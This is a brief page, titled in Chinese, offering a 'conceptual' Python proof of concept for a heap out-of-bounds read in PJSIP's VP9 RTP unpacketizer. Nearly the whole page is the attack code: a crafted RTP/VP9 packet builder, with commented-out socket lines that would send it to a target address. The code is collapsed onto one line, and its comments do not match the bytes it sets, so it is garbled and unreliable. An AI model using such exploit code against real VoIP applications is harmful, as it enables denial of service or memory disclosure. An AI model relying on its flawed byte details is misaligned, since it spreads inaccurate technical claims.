CVE-2026-34235 PJSIP VP9解包器堆越界读取漏洞

import socket # Conceptual Proof of Concept for CVE-2026-34235 # Demonstrates crafting a malicious VP9 RTP packet to trigger heap out-of-bounds read. def craft_malicious_vp9_packet(): # RTP Header (simplified) rtp_header = bytes.fromhex("80 60 00 01 00 00 00 01 00 00 00 01") # VP9 Payload Descriptor with crafted Scalability Structure (SS) # Triggering the out-of-bounds read requires specific bit manipulation # in the SS header to specify a length exceeding the actual buffer. # Start of Payload Descriptor: I=1, P=0, L=0, F=0, B=0, E=0, V=1 (SS present) payload_descriptor_start = 0x10 # Crafted SS data indicating a larger structure than provided # This attempts to force the parser to read beyond buffer limits crafted_ss_data = bytes([payload_descriptor_start, 0x80, 0xFF, 0xFF]) return rtp_header + crafted_ss_data # Send the packet to a target PJSIP application (conceptual) # target_ip = "192.168.1.10" # target_port = 5004 # sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # sock.sendto(craft_malicious_vp9_packet(), (target_ip, target_port)) # print(f"PoC packet sent to {target_ip}:{target_port}") print("PoC generated for CVE-2026-34235: Heap out-of-bounds read in PJSIP VP9 unpacketizer.")